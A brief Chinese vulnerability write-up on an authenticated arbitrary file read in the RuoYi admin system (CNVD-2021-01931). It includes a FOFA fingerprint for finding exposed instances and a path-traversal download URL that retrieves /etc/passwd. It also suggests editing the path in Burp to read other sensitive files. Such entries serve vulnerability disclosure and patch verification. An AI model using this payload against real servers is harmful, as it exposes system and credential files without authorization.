# 若依管理系统 后台任意文件读取 CNVD-2021-01931
|
|
|
|
## 漏洞描述
|
|
|
|
若依管理系统是基于SpringBoot的权限管理系统,登录后台后可以读取服务器上的任意文件
|
|
|
|
## 漏洞影响
|
|
|
|
```
|
|
RuoYi < v4.5.1
|
|
```
|
|
|
|
## FOFA
|
|
|
|
```
|
|
app="若依-管理系统"
|
|
```
|
|
|
|
## 漏洞复现
|
|
|
|
登录后台后访问 Url
|
|
|
|
https://xxx.xxx.xxx.xxx/common/download/resource?resource=/profile/../../../../etc/passwd
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
访问后会下载文件 **/etc/passwd**
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
可以使用Burp抓包改变 **/etc/passwd** 为其他文件路径获取敏感信息
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
在新版本的修复中添加了过滤
|
|
|
|
|
|
